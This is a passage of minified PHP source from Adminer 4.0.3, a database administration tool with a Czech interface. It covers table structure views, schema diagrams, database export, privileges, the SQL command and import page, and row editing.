src='".h(preg_replace("~\\?.*~","",ME))."?file=cross.gif&version=4.0.3' alt='x' title='".'Odebrat'."' onclick=\"return !editingRemoveRow(this, 'fields\$1[field]');\">":""),"\n";}}function
process_fields(&$o){ksort($o);$D=0;if($_POST["up"]){$Id=0;foreach($o
as$x=>$n){if(key($_POST["up"])==$x){unset($o[$x]);array_splice($o,$Id,0,array($n));break;}if(isset($n["field"]))$Id=$D;$D++;}}elseif($_POST["down"]){$Mc=false;foreach($o
as$x=>$n){if(isset($n["field"])&&$Mc){unset($o[key($_POST["down"])]);array_splice($o,$D,0,array($Mc));break;}if(key($_POST["down"])==$x)$Mc=$n;$D++;}}elseif($_POST["add"]){$o=array_values($o);array_splice($o,key($_POST["add"]),0,array(array()));}elseif(!$_POST["drop_col"])return
false;return
true;}function
normalize_enum($B){return"'".str_replace("'","''",addcslashes(stripcslashes(str_replace($B[0][0].$B[0][0],$B[0][0],substr($B[0],1,-1))),'\\'))."'";}function
grant($Sc,$xf,$f,$Ce){if(!$xf)return
true;if($xf==array("ALL PRIVILEGES","GRANT OPTION"))return($Sc=="GRANT"?queries("$Sc ALL PRIVILEGES$Ce WITH GRANT OPTION"):queries("$Sc ALL PRIVILEGES$Ce")&&queries("$Sc GRANT OPTION$Ce"));return
queries("$Sc ".preg_replace('~(GRANT OPTION)\\([^)]*\\)~','\\1',implode("$f, ",$xf).$f).$Ce);}function
drop_create($Tb,$xb,$Ub,$Tg,$Wb,$A,$he,$fe,$ge,$_e,$se){if($_POST["drop"])query_redirect($Tb,$A,$he);elseif($_e=="")query_redirect($xb,$A,$ge);elseif($_e!=$se){$zb=queries($xb);queries_redirect($A,$fe,$zb&&queries($Tb));if($zb)queries($Ub);}else
queries_redirect($A,$fe,queries($Tg)&&queries($Wb)&&queries($Tb)&&queries($xb));}function
create_trigger($Ce,$K){global$w;$Yg=" $K[Timing] $K[Event]";return"CREATE TRIGGER ".idf_escape($K["Trigger"]).($w=="mssql"?$Ce.$Yg:$Yg.$Ce).rtrim(" $K[Type]\n$K[Statement]",";").";";}function
create_routine($Xf,$K){global$qd;$O=array();$o=(array)$K["fields"];ksort($o);foreach($o
as$n){if($n["field"]!="")$O[]=(preg_match("~^($qd)\$~",$n["inout"])?"$n[inout] ":"").idf_escape($n["field"]).process_type($n,"CHARACTER SET");}return"CREATE $Xf ".idf_escape(trim($K["name"]))." (".implode(", ",$O).")".(isset($_GET["function"])?" RETURNS".process_type($K["returns"],"CHARACTER SET"):"").($K["language"]?" LANGUAGE $K[language]":"").rtrim("\n$K[definition]",";").";";}function
remove_definer($H){return
preg_replace('~^([A-Z =]+) DEFINER=`'.preg_replace('~@(.*)~','`@`(%|\\1)',logged_user()).'`~','\\1',$H);}function
format_foreign_key($p){global$De;return" FOREIGN KEY (".implode(", ",array_map('idf_escape',$p["source"])).") REFERENCES ".table($p["table"])." (".implode(", ",array_map('idf_escape',$p["target"])).")".(preg_match("~^($De)\$~",$p["on_delete"])?" ON DELETE $p[on_delete]":"").(preg_match("~^($De)\$~",$p["on_update"])?" ON UPDATE $p[on_update]":"");}function
tar_file($Ec,$dh){$J=pack("a100a8a8a8a12a12",$Ec,644,0,0,decoct($dh->size),decoct(time()));$ab=8*32;for($r=0;$r<strlen($J);$r++)$ab+=ord($J[$r]);$J.=sprintf("%06o",$ab)."\0 ";echo$J,str_repeat("\0",512-strlen($J));$dh->send();echo
str_repeat("\0",511-($dh->size+511)%512);}function
ini_bytes($pd){$X=ini_get($pd);switch(strtolower(substr($X,-1))){case'g':$X*=1024;case'm':$X*=1024;case'k':$X*=1024;}return$X;}function
doc_link($hf){global$w,$g;$Ah=array('sql'=>"http://dev.mysql.com/doc/refman/".substr($g->server_info,0,3)."/en/",'sqlite'=>"http://www.sqlite.org/",'pgsql'=>"http://www.postgresql.org/docs/".substr($g->server_info,0,3)."/static/",'mssql'=>"http://msdn.microsoft.com/library/",'oracle'=>"http://download.oracle.com/docs/cd/B19306_01/server.102/b14200/",);return($hf[$w]?"<a href='$Ah[$w]$hf[$w]' target='_blank' rel='noreferrer'><sup>?</sup></a>":"");}$De="RESTRICT|NO ACTION|CASCADE|SET NULL|SET DEFAULT";class
TmpFile{var$handler;var$size;function
TmpFile(){$this->handler=tmpfile();}function
write($sb){$this->size+=strlen($sb);fwrite($this->handler,$sb);}function
send(){fseek($this->handler,0);fpassthru($this->handler);fclose($this->handler);}}$kc="'(?:''|[^'\\\\]|\\\\.)*+'";$qd="IN|OUT|INOUT";if(isset($_GET["select"])&&($_POST["edit"]||$_POST["clone"])&&!$_POST["save"])$_GET["edit"]=$_GET["select"];if(isset($_GET["callf"]))$_GET["call"]=$_GET["callf"];if(isset($_GET["function"]))$_GET["procedure"]=$_GET["function"];if(isset($_GET["download"])){$a=$_GET["download"];$o=fields($a);header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename=".friendly_url("$a-".implode("_",$_GET["where"])).".".friendly_url($_GET["field"]));$M=array(idf_escape($_GET["field"]));$I=$l->select($a,$M,array(where($_GET,$o)),$M);$K=($I?$I->fetch_row():array());echo$K[0];exit;}elseif(isset($_GET["table"])){$a=$_GET["table"];$o=fields($a);if(!$o)$m=error();$R=table_status1($a,true);page_header(($o&&is_view($R)?'Pohled':'Tabulka').": ".h($a),$m);$b->selectLinks($R);$mb=$R["Comment"];if($mb!="")echo"<p>".'Komentář'.": ".h($mb)."\n";if($o){echo"<table cellspacing='0'>\n","<thead><tr><th>".'Sloupec'."<td>".'Typ'.(support("comment")?"<td>".'Komentář':"")."</thead>\n";foreach($o
as$n){echo"<tr".odd()."><th>".h($n["field"]),"<td title='".h($n["collation"])."'>".h($n["full_type"]).($n["null"]?" <i>NULL</i>":"").($n["auto_increment"]?" <i>".'Auto Increment'."</i>":""),(isset($n["default"])?" [<b>".h($n["default"])."</b>]":""),(support("comment")?"<td>".nbsp($n["comment"]):""),"\n";}echo"</table>\n";}if(!is_view($R)){if(support("indexes")){echo"<h3 id='indexes'>".'Indexy'."</h3>\n";$v=indexes($a);if($v){echo"<table cellspacing='0'>\n";foreach($v
as$C=>$u){ksort($u["columns"]);$uf=array();foreach($u["columns"]as$x=>$X)$uf[]="<i>".h($X)."</i>".($u["lengths"][$x]?"(".$u["lengths"][$x].")":"").($u["descs"][$x]?" DESC":"");echo"<tr title='".h($C)."'><th>$u[type]<td>".implode(", ",$uf)."\n";}echo"</table>\n";}echo'<p class="links"><a href="'.h(ME).'indexes='.urlencode($a).'">'.'Pozměnit indexy'."</a>\n";}if(fk_support($R)){echo"<h3 id='foreign-keys'>".'Cizí klíče'."</h3>\n";$Kc=foreign_keys($a);if($Kc){echo"<table cellspacing='0'>\n","<thead><tr><th>".'Zdroj'."<td>".'Cíl'."<td>".'Při smazání'."<td>".'Při změně'."<td> </thead>\n";foreach($Kc
as$C=>$p){echo"<tr title='".h($C)."'>","<th><i>".implode("</i>, <i>",array_map('h',$p["source"]))."</i>","<td><a href='".h($p["db"]!=""?preg_replace('~db=[^&]*~',"db=".urlencode($p["db"]),ME):($p["ns"]!=""?preg_replace('~ns=[^&]*~',"ns=".urlencode($p["ns"]),ME):ME))."table=".urlencode($p["table"])."'>".($p["db"]!=""?"<b>".h($p["db"])."</b>.":"").($p["ns"]!=""?"<b>".h($p["ns"])."</b>.":"").h($p["table"])."</a>","(<i>".implode("</i>, <i>",array_map('h',$p["target"]))."</i>)","<td>".nbsp($p["on_delete"])."\n","<td>".nbsp($p["on_update"])."\n",'<td><a href="'.h(ME.'foreign='.urlencode($a).'&name='.urlencode($C)).'">'.'Změnit'.'</a>';}echo"</table>\n";}echo'<p class="links"><a href="'.h(ME).'foreign='.urlencode($a).'">'.'Přidat cizí klíč'."</a>\n";}}if(support(is_view($R)?"view_trigger":"trigger")){echo"<h3 id='triggers'>".'Triggery'."</h3>\n";$oh=triggers($a);if($oh){echo"<table cellspacing='0'>\n";foreach($oh
as$x=>$X)echo"<tr valign='top'><td>$X[0]<td>$X[1]<th>".h($x)."<td><a href='".h(ME.'trigger='.urlencode($a).'&name='.urlencode($x))."'>".'Změnit'."</a>\n";echo"</table>\n";}echo'<p class="links"><a href="'.h(ME).'trigger='.urlencode($a).'">'.'Přidat trigger'."</a>\n";}}elseif(isset($_GET["schema"])){page_header('Schéma databáze',"",array(),h(DB.($_GET["ns"]?".$_GET[ns]":"")));$Jg=array();$Kg=array();$C="adminer_schema";$ea=($_GET["schema"]?$_GET["schema"]:$_COOKIE[($_COOKIE["$C-".DB]?"$C-".DB:$C)]);preg_match_all('~([^:]+):([-0-9.]+)x([-0-9.]+)(_|$)~',$ea,$Wd,PREG_SET_ORDER);foreach($Wd
as$r=>$B){$Jg[$B[1]]=array($B[2],$B[3]);$Kg[]="\n\t'".js_escape($B[1])."': [ $B[2], $B[3] ]";}$fh=0;$Oa=-1;$dg=array();$Lf=array();$Md=array();foreach(table_status('',true)as$Q=>$R){if(is_view($R))continue;$mf=0;$dg[$Q]["fields"]=array();foreach(fields($Q)as$C=>$n){$mf+=1.25;$n["pos"]=$mf;$dg[$Q]["fields"][$C]=$n;}$dg[$Q]["pos"]=($Jg[$Q]?$Jg[$Q]:array($fh,0));foreach($b->foreignKeys($Q)as$X){if(!$X["db"]){$Kd=$Oa;if($Jg[$Q][1]||$Jg[$X["table"]][1])$Kd=min(floatval($Jg[$Q][1]),floatval($Jg[$X["table"]][1]))-1;else$Oa-=.1;while($Md[(string)$Kd])$Kd-=.0001;$dg[$Q]["references"][$X["table"]][(string)$Kd]=array($X["source"],$X["target"]);$Lf[$X["table"]][$Q][(string)$Kd]=$X["target"];$Md[(string)$Kd]=true;}}$fh=max($fh,$dg[$Q]["pos"][0]+2.5+$mf);}echo'<div id="schema" style="height: ',$fh,'em;" onselectstart="return false;">
<script type="text/javascript">
var tablePos = {',implode(",",$Kg)."\n",'};
var em = document.getElementById(\'schema\').offsetHeight / ',$fh,';
document.onmousemove = schemaMousemove;
document.onmouseup = function (ev) {
schemaMouseup(ev, \'',js_escape(DB),'\');
};
</script>
';foreach($dg
as$C=>$Q){echo"<div class='table' style='top: ".$Q["pos"][0]."em; left: ".$Q["pos"][1]."em;' onmousedown='schemaMousedown(this, event);'>",'<a href="'.h(ME).'table='.urlencode($C).'"><b>'.h($C)."</b></a>";foreach($Q["fields"]as$n){$X='<span'.type_class($n["type"]).' title="'.h($n["full_type"].($n["null"]?" NULL":'')).'">'.h($n["field"]).'</span>';echo"<br>".($n["primary"]?"<i>$X</i>":$X);}foreach((array)$Q["references"]as$Qg=>$Mf){foreach($Mf
as$Kd=>$If){$Ld=$Kd-$Jg[$C][1];$r=0;foreach($If[0]as$sg)echo"\n<div class='references' title='".h($Qg)."' id='refs$Kd-".($r++)."' style='left: $Ld"."em; top: ".$Q["fields"][$sg]["pos"]."em; padding-top: .5em;'><div style='border-top: 1px solid Gray; width: ".(-$Ld)."em;'></div></div>";}}foreach((array)$Lf[$C]as$Qg=>$Mf){foreach($Mf
as$Kd=>$f){$Ld=$Kd-$Jg[$C][1];$r=0;foreach($f
as$Pg)echo"\n<div class='references' title='".h($Qg)."' id='refd$Kd-".($r++)."' style='left: $Ld"."em; top: ".$Q["fields"][$Pg]["pos"]."em; height: 1.25em; background: url(".h(preg_replace("~\\?.*~","",ME))."?file=arrow.gif) no-repeat right center;&version=4.0.3'><div style='height: .5em; border-bottom: 1px solid Gray; width: ".(-$Ld)."em;'></div></div>";}}echo"\n</div>\n";}foreach($dg
as$C=>$Q){foreach((array)$Q["references"]as$Qg=>$Mf){foreach($Mf
as$Kd=>$If){$le=$fh;$ae=-10;foreach($If[0]as$x=>$sg){$nf=$Q["pos"][0]+$Q["fields"][$sg]["pos"];$of=$dg[$Qg]["pos"][0]+$dg[$Qg]["fields"][$If[1][$x]]["pos"];$le=min($le,$nf,$of);$ae=max($ae,$nf,$of);}echo"<div class='references' id='refl$Kd' style='left: $Kd"."em; top: $le"."em; padding: .5em 0;'><div style='border-right: 1px solid Gray; margin-top: 1px; height: ".($ae-$le)."em;'></div></div>\n";}}}echo'</div>
<p class="links"><a href="',h(ME."schema=".urlencode($ea)),'" id="schema-link">Trvalý odkaz</a>
';}elseif(isset($_GET["dump"])){$a=$_GET["dump"];if($_POST&&!$m){$vb="";foreach(array("output","format","db_style","routines","events","table_style","auto_increment","triggers","data_style")as$x)$vb.="&$x=".urlencode($_POST[$x]);cookie("adminer_export",substr($vb,1));$S=array_flip((array)$_POST["tables"])+array_flip((array)$_POST["data"]);$xc=dump_headers((count($S)==1?key($S):DB),(DB==""||count($S)>1));$vd=preg_match('~sql~',$_POST["format"]);if($vd)echo"-- Adminer $ia ".$Sb[DRIVER]." dump
".($w!="sql"?"":"SET NAMES utf8;
".($_POST["data_style"]?"SET foreign_key_checks = 0;
SET time_zone = ".q(substr(preg_replace('~^[^-]~','+\0',$g->result("SELECT TIMEDIFF(NOW(), UTC_TIMESTAMP)")),0,6)).";
SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO';
":"")."
");$Ag=$_POST["db_style"];$j=array(DB);if(DB==""){$j=$_POST["databases"];if(is_string($j))$j=explode("\n",rtrim(str_replace("\r","",$j),"\n"));}foreach((array)$j
as$k){$b->dumpDatabase($k);if($g->select_db($k)){if($vd&&preg_match('~CREATE~',$Ag)&&($xb=$g->result("SHOW CREATE DATABASE ".idf_escape($k),1))){if($Ag=="DROP+CREATE")echo"DROP DATABASE IF EXISTS ".idf_escape($k).";\n";echo"$xb;\n";}if($vd){if($Ag)echo
use_sql($k).";\n\n";$Ve="";if($_POST["routines"]){foreach(array("FUNCTION","PROCEDURE")as$Xf){foreach(get_rows("SHOW $Xf STATUS WHERE Db = ".q($k),null,"-- ")as$K)$Ve.=($Ag!='DROP+CREATE'?"DROP $Xf IF EXISTS ".idf_escape($K["Name"]).";;\n":"").remove_definer($g->result("SHOW CREATE $Xf ".idf_escape($K["Name"]),2)).";;\n\n";}}if($_POST["events"]){foreach(get_rows("SHOW EVENTS",null,"-- ")as$K)$Ve.=($Ag!='DROP+CREATE'?"DROP EVENT IF EXISTS ".idf_escape($K["Name"]).";;\n":"").remove_definer($g->result("SHOW CREATE EVENT ".idf_escape($K["Name"]),3)).";;\n\n";}if($Ve)echo"DELIMITER ;;\n\n$Ve"."DELIMITER ;\n\n";}if($_POST["table_style"]||$_POST["data_style"]){$Mh=array();foreach(table_status('',true)as$C=>$R){$Q=(DB==""||in_array($C,(array)$_POST["tables"]));$Ab=(DB==""||in_array($C,(array)$_POST["data"]));if($Q||$Ab){if($xc=="tar"){$dh=new
TmpFile;ob_start(array($dh,'write'),1e5);}$b->dumpTable($C,($Q?$_POST["table_style"]:""),(is_view($R)?2:0));if(is_view($R))$Mh[]=$C;elseif($Ab){$o=fields($C);$b->dumpData($C,$_POST["data_style"],"SELECT *".convert_fields($o,$o)." FROM ".table($C));}if($vd&&$_POST["triggers"]&&$Q&&($oh=trigger_sql($C,$_POST["table_style"])))echo"\nDELIMITER ;;\n$oh\nDELIMITER ;\n";if($xc=="tar"){ob_end_flush();tar_file((DB!=""?"":"$k/")."$C.csv",$dh);}elseif($vd)echo"\n";}}foreach($Mh
as$Lh)$b->dumpTable($Lh,$_POST["table_style"],1);if($xc=="tar")echo
pack("x512");}}}if($vd)echo"-- ".$g->result("SELECT NOW()")."\n";exit;}page_header('Export',$m,($_GET["export"]!=""?array("table"=>$_GET["export"]):array()),h(DB));echo'
<form action="" method="post">
<table cellspacing="0">
';$Eb=array('','USE','DROP+CREATE','CREATE');$Lg=array('','DROP+CREATE','CREATE');$Bb=array('','TRUNCATE+INSERT','INSERT');if($w=="sql")$Bb[]='INSERT+UPDATE';parse_str($_COOKIE["adminer_export"],$K);if(!$K)$K=array("output"=>"text","format"=>"sql","db_style"=>(DB!=""?"":"CREATE"),"table_style"=>"DROP+CREATE","data_style"=>"INSERT");if(!isset($K["events"])){$K["routines"]=$K["events"]=($_GET["dump"]=="");$K["triggers"]=$K["table_style"];}echo"<tr><th>".'Výstup'."<td>".html_select("output",$b->dumpOutput(),$K["output"],0)."\n";echo"<tr><th>".'Formát'."<td>".html_select("format",$b->dumpFormat(),$K["format"],0)."\n";echo($w=="sqlite"?"":"<tr><th>".'Databáze'."<td>".html_select('db_style',$Eb,$K["db_style"]).(support("routine")?checkbox("routines",1,$K["routines"],'Procedury a funkce'):"").(support("event")?checkbox("events",1,$K["events"],'Události'):"")),"<tr><th>".'Tabulky'."<td>".html_select('table_style',$Lg,$K["table_style"]).checkbox("auto_increment",1,$K["auto_increment"],'Auto Increment').(support("trigger")?checkbox("triggers",1,$K["triggers"],'Triggery'):""),"<tr><th>".'Data'."<td>".html_select('data_style',$Bb,$K["data_style"]),'</table>
<p><input type="submit" value="Export">
<input type="hidden" name="token" value="',$T,'">
<table cellspacing="0">
';$rf=array();if(DB!=""){$Za=($a!=""?"":" checked");echo"<thead><tr>","<th style='text-align: left;'><label class='block'><input type='checkbox' id='check-tables'$Za onclick='formCheck(this, /^tables\\[/);'>".'Tabulky'."</label>","<th style='text-align: right;'><label class='block'>".'Data'."<input type='checkbox' id='check-data'$Za onclick='formCheck(this, /^data\\[/);'></label>","</thead>\n";$Mh="";$Mg=tables_list();foreach($Mg
as$C=>$U){$qf=preg_replace('~_.*~','',$C);$Za=($a==""||$a==(substr($a,-1)=="%"?"$qf%":$C));$uf="<tr><td>".checkbox("tables[]",$C,$Za,$C,"checkboxClick(event, this); formUncheck('check-tables');","block");if($U!==null&&!preg_match('~table~i',$U))$Mh.="$uf\n";else
echo"$uf<td align='right'><label class='block'><span id='Rows-".h($C)."'></span>".checkbox("data[]",$C,$Za,"","checkboxClick(event, this); formUncheck('check-data');")."</label>\n";$rf[$qf]++;}echo$Mh;if($Mg)echo"<script type='text/javascript'>ajaxSetHtml('".js_escape(ME)."script=db');</script>\n";}else{echo"<thead><tr><th style='text-align: left;'><label class='block'><input type='checkbox' id='check-databases'".($a==""?" checked":"")." onclick='formCheck(this, /^databases\\[/);'>".'Databáze'."</label></thead>\n";$j=$b->databases();if($j){foreach($j
as$k){if(!information_schema($k)){$qf=preg_replace('~_.*~','',$k);echo"<tr><td>".checkbox("databases[]",$k,$a==""||$a=="$qf%",$k,"formUncheck('check-databases');","block")."\n";$rf[$qf]++;}}}else
echo"<tr><td><textarea name='databases' rows='10' cols='20'></textarea>";}echo'</table>
</form>
';$Gc=true;foreach($rf
as$x=>$X){if($x!=""&&$X>1){echo($Gc?"<p>":" ")."<a href='".h(ME)."dump=".urlencode("$x%")."'>".h($x)."</a>";$Gc=false;}}}elseif(isset($_GET["privileges"])){page_header('Oprávnění');$I=$g->query("SELECT User, Host FROM mysql.".(DB==""?"user":"db WHERE ".q(DB)." LIKE Db")." ORDER BY Host, User");$Sc=$I;if(!$I)$I=$g->query("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host");echo"<form action=''><p>\n";hidden_fields_get();echo"<input type='hidden' name='db' value='".h(DB)."'>\n",($Sc?"":"<input type='hidden' name='grant' value=''>\n"),"<table cellspacing='0'>\n","<thead><tr><th>".'Uživatel'."<th>".'Server'."<th> </thead>\n";while($K=$I->fetch_assoc())echo'<tr'.odd().'><td>'.h($K["User"])."<td>".h($K["Host"]).'<td><a href="'.h(ME.'user='.urlencode($K["User"]).'&host='.urlencode($K["Host"])).'">'.'Upravit'."</a>\n";if(!$Sc||DB!="")echo"<tr".odd()."><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value='".'Upravit'."'>\n";echo"</table>\n","</form>\n",'<p class="links"><a href="'.h(ME).'user=">'.'Vytvořit uživatele'."</a>";}elseif(isset($_GET["sql"])){if(!$m&&$_POST["export"]){dump_headers("sql");$b->dumpTable("","");$b->dumpData("","table",$_POST["query"]);exit;}restart_session();$cd=&get_session("queries");$bd=&$cd[DB];if(!$m&&$_POST["clear"]){$bd=array();redirect(remove_from_uri("history"));}page_header((isset($_GET["import"])?'Import':'SQL příkaz'),$m);if(!$m&&$_POST){$Oc=false;if(!isset($_GET["import"]))$H=$_POST["query"];elseif($_POST["webfile"]){$Oc=@fopen((file_exists("adminer.sql")?"adminer.sql":"compress.zlib://adminer.sql.gz"),"rb");$H=($Oc?fread($Oc,1e6):false);}else$H=get_file("sql_file",true);if(is_string($H)){if(function_exists('memory_get_usage'))@ini_set("memory_limit",max(ini_bytes("memory_limit"),2*strlen($H)+memory_get_usage()+8e6));if($H!=""&&strlen($H)<1e6){$Af=$H.(preg_match("~;[ \t\r\n]*\$~",$H)?"":";");if(!$bd||reset(end($bd))!=$Af){restart_session();$bd[]=array($Af,time());set_session("queries",$cd);stop_session();}}$tg="(?:\\s|/\\*.*\\*/|(?:#|-- )[^\n]*\n|--\r?\n)";$Jb=";";$D=0;$gc=true;$h=connect();if(is_object($h)&&DB!="")$h->select_db(DB);$lb=0;$mc=array();$Qd=0;$af='[\'"'.($w=="sql"?'`#':($w=="sqlite"?'`[':($w=="mssql"?'[':''))).']|/\\*|-- |$'.($w=="pgsql"?'|\\$[^$]*\\$':'');$gh=microtime(true);parse_str($_COOKIE["adminer_export"],$va);$Yb=$b->dumpFormat();unset($Yb["sql"]);while($H!=""){if(!$D&&preg_match("~^$tg*DELIMITER\\s+(\\S+)~i",$H,$B)){$Jb=$B[1];$H=substr($H,strlen($B[0]));}else{preg_match('('.preg_quote($Jb)."\\s*|$af)",$H,$B,PREG_OFFSET_CAPTURE,$D);list($Mc,$mf)=$B[0];if(!$Mc&&$Oc&&!feof($Oc))$H.=fread($Oc,1e5);else{if(!$Mc&&rtrim($H)=="")break;$D=$mf+strlen($Mc);if($Mc&&rtrim($Mc)!=$Jb){while(preg_match('('.($Mc=='/*'?'\\*/':($Mc=='['?']':(preg_match('~^-- |^#~',$Mc)?"\n":preg_quote($Mc)."|\\\\."))).'|$)s',$H,$B,PREG_OFFSET_CAPTURE,$D)){$bg=$B[0][0];if(!$bg&&$Oc&&!feof($Oc))$H.=fread($Oc,1e5);else{$D=$B[0][1]+strlen($bg);if($bg[0]!="\\")break;}}}else{$gc=false;$Af=substr($H,0,$mf);$lb++;$uf="<pre id='sql-$lb'><code class='jush-$w'>".shorten_utf8(trim($Af),1000)."</code></pre>\n";if(!$_POST["only_errors"]){echo$uf;ob_flush();flush();}$wg=microtime(true);if($g->multi_query($Af)&&is_object($h)&&preg_match("~^$tg*USE\\b~isU",$Af))$h->query($Af);do{$I=$g->store_result();$hc=microtime(true);$Wg=" <span class='time'>(".format_time($wg,$hc).")</span>".(strlen($Af)<1000?" <a href='".h(ME)."sql=".urlencode(trim($Af))."'>".'Upravit'."</a>":"");if($g->error){echo($_POST["only_errors"]?$uf:""),"<p class='error'>".'Chyba v dotazu'.($g->errno?" ($g->errno)":"").": ".error()."\n";$mc[]=" <a href='#sql-$lb'>$lb</a>";if($_POST["error_stops"])break
2;}elseif(is_object($I)){$Pe=select($I,$h);if(!$_POST["only_errors"]){echo"<form action='' method='post'>\n","<p>".($I->num_rows?lang(array('%d řádek','%d řádky','%d řádků'),$I->num_rows):"").$Wg;$s="export-$lb";$wc=", <a href='#$s' onclick=\"return !toggle('$s');\">".'Export'."</a><span id='$s' class='hidden'>: ".html_select("output",$b->dumpOutput(),$va["output"])." ".html_select("format",$Yb,$va["format"])."<input type='hidden' name='query' value='".h($Af)."'>"." <input type='submit' name='export' value='".'Export'."'><input type='hidden' name='token' value='$T'></span>\n";if($h&&preg_match("~^($tg|\\()*SELECT\\b~isU",$Af)&&($vc=explain($h,$Af))){$s="explain-$lb";echo", <a href='#$s' onclick=\"return !toggle('$s');\">EXPLAIN</a>$wc","<div id='$s' class='hidden'>\n";select($vc,$h,$Pe);echo"</div>\n";}else
echo$wc;echo"</form>\n";}}else{if(preg_match("~^$tg*(CREATE|DROP|ALTER)$tg+(DATABASE|SCHEMA)\\b~isU",$Af)){restart_session();set_session("dbs",null);stop_session();}if(!$_POST["only_errors"])echo"<p class='message' title='".h($g->info)."'>".lang(array('Příkaz proběhl v pořádku, byl změněn %d záznam.','Příkaz proběhl v pořádku, byly změněny %d záznamy.','Příkaz proběhl v pořádku, bylo změněno %d záznamů.'),$g->affected_rows)."$Wg\n";}$wg=$hc;}while($g->next_result());$Qd+=substr_count($Af.$Mc,"\n");$H=substr($H,$D);$D=0;}}}}if($gc)echo"<p class='message'>".'Žádné příkazy k vykonání.'."\n";elseif($_POST["only_errors"]){echo"<p class='message'>".lang(array('%d příkaz proběhl v pořádku.','%d příkazy proběhly v pořádku.','%d příkazů proběhlo v pořádku.'),$lb-count($mc))," <span class='time'>(".format_time($gh,microtime(true)).")</span>\n";}elseif($mc&&$lb>1)echo"<p class='error'>".'Chyba v dotazu'.": ".implode("",$mc)."\n";}else
echo"<p class='error'>".upload_error($H)."\n";}echo'
<form action="" method="post" enctype="multipart/form-data" id="form">
';$sc="<input type='submit' value='".'Provést'."' title='Ctrl+Enter'>";if(!isset($_GET["import"])){$Af=$_GET["sql"];if($_POST)$Af=$_POST["query"];elseif($_GET["history"]=="all")$Af=$bd;elseif($_GET["history"]!="")$Af=$bd[$_GET["history"]][0];echo"<p>";textarea("query",$Af,20);echo($_POST?"":"<script type='text/javascript'>focus(document.getElementsByTagName('textarea')[0]);</script>\n"),"<p>$sc\n";}else{echo"<fieldset><legend>".'Nahrání souboru'."</legend><div>",(ini_bool("file_uploads")?'<input type="file" name="sql_file[]" multiple> (< '.ini_get("upload_max_filesize").'B)':'Nahrávání souborů není povoleno.'),"\n$sc","</div></fieldset>\n","<fieldset><legend>".'Ze serveru'."</legend><div>",sprintf('Soubor %s na webovém serveru',"<code>adminer.sql".(extension_loaded("zlib")?"[.gz]":"")."</code>"),' <input type="submit" name="webfile" value="'.'Spustit soubor'.'">',"</div></fieldset>\n","<p>";}echo
checkbox("error_stops",1,($_POST?$_POST["error_stops"]:isset($_GET["import"])),'Zastavit při chybě')."\n",checkbox("only_errors",1,($_POST?$_POST["only_errors"]:isset($_GET["import"])),'Zobrazit pouze chyby')."\n","<input type='hidden' name='token' value='$T'>\n";if(!isset($_GET["import"])&&$bd){print_fieldset("history",'Historie',$_GET["history"]!="");for($X=end($bd);$X;$X=prev($bd)){$x=key($bd);list($Af,$Wg)=$X;echo'<a href="'.h(ME."sql=&history=$x").'">'.'Upravit'."</a> <span class='time' title='".@date('Y-m-d',$Wg)."'>".@date("H:i:s",$Wg)."</span> <code class='jush-$w'>".shorten_utf8(ltrim(str_replace("\n"," ",str_replace("\r","",preg_replace('~^(#|-- ).*~m','',$Af)))),80,"</code>")."<br>\n";}echo"<input type='submit' name='clear' value='".'Vyčistit'."'>\n","<a href='".h(ME."sql=&history=all")."'>".'Upravit vše'."</a>\n","</div></fieldset>\n";}echo'</form>
';}elseif(isset($_GET["edit"])){$a=$_GET["edit"];$o=fields($a);$Z=(isset($_GET["select"])?(count($_POST["check"])==1?where_check($_POST["check"][0],$o):""):where($_GET,$o));$zh=(isset($_GET["select"])?$_POST["edit"]:$Z);foreach($o
as$C=>$n){if(!isset($n["privileges"][$zh?"update":"insert"])||$b->fieldName($n)=="")unset($o[$C]);}if($_POST&&!$m&&!isset($_GET["select"])){$A=$_POST["referer"];if($_POST["insert"])$A=($zh?null:$_SERVER["REQUEST_URI"]);elseif(!preg_match('~^.+&select=.+$~',$A))$A=ME."select=".urlencode($a);$v=indexes($a);$uh=unique_array($_GET["where"],$v);$Df="\nWHERE $Z";if(isset($_POST["delete"]))queries_redirect($A,'Položka byla smazána.',$l->delete($a,$Df,!$uh));else{$O=array();foreach($o
as$C=>$n){$X=process_input($n);if($X!==false&&$X!==null)$O[idf_escape($C)]=$X;}if($zh){if(!$O)redirect($A);queries_redirect($A,'Položka byla aktualizována.',$l->update($a,$O,$Df,!$uh));if(is_ajax()){page_headers();page_messages($m);exit;}}else{$I=$l->insert($a,$O);$Jd=($I?last_id():0);queries_redirect($A,sprintf('Položka%s byla vložena.',($Jd?" $Jd":"")),$I);}}}$Hg=$b->tableName(table_status1($a,true));page_header(($zh?'Upravit':'Vložit'),$m,array("select"=>array($a,$Hg)),$Hg);$K=null;if($_POST["save"])$K=(array)$_POST["fields"];elseif($Z){$M=array();foreach($o
as$C=>$n){if(isset($n["privileges"]["select"])){$Ea=convert_field($n);if($_POST["clone"]&&$n["auto_increment"])$Ea="''";if($w=="sql"&&preg_match("~enum|set~",$n["type"]))$Ea="1*".idf_escape($C);$M[]=($Ea?"$Ea AS ":"").idf_escape($C);}}$K=array();if(!support("table"))$M=array("*");if($M){$I=$l->select($a,$M,array($Z),$M,array(),(isset($_GET["select"])?2:1));$K=$I->fetch_assoc();if(!$K)$K=false;if(isset($_GET["select"])&&(!$K||$I->fetch_assoc()))$K=null;}}if(!support("table")&&!$o){if(!$Z){$I=$l->select($a,array("*"),$Z,array("*"));$K=($I?$I->fetch_assoc():false);if(!$K)$K=array($l->primary=>"");}if($K){foreach($K
as$x=>$X){if(!$Z)$K[$x]=null;$o[$x]=array("field"=>$x,"null"=>($x!=$l->primary),"auto_increment"=>($x==$l->primary));}}}if($K===false)echo"<p class='error'>".'Žádné řádky.'."\n";echo'
<div id="message"></div>
<form action="" method="post" enctype="multipart/form-data" id="form">
';if(!$o)echo"<p class='error'>".'Nemáte oprávnění editovat tuto tabulku.'."\n";else{echo"<table cellspacing='0' onkeydown='return editingKeydown(event);'>\n";foreach($o
